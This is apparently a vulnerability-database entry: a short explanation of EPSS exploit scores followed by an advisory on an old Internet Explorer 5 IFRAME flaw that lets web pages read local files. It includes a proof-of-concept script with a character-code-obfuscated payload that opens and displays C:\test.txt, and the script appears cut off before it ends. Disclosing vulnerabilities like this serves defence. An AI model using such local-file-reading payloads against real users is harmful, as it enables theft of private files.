EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Microsoft Internet Explorer 5.0 for Windows 2000/Windows 95/Windows 98/Windows NT 4,Internet Explorer 4.0.1 for Windows 98/Windows NT 4.0/Unix 5.0 IFRAME Vulnerability
source: https://www.securityfocus.com/bid/696/info
Internet Explorer 5 will allow a malicious web page to read the contents of local files through a weakness in the IE5 security model. Normally the document.execCommand method is restricted from reading and returning data on the local machine, however if the method is called from within an IFRAME this restriction can be circumvented.
<SCRIPT>
alert("Create text file c:\\test.txt and it will be read");
function f()
{
I1.focus();
document.execCommand("selectAll");
document.execCommand("InsertParagraph",false,">\"STYLE='left:expression(eval(String.fromCharCode(97,61,119,105,110,100,111,119,46,111,112,101,110,40,39,102,105,108,101,58,47,47,99,58,47,116,101,115,116,46,116,120,116,39,41,59,97,108,101,114,116,40,97,46,100,111,99,117,109,101,110,116,46,98,111,100,121,46,105,110,110,101,114,84,101,120,116,41)));'");

setTimeout('f()',2000);
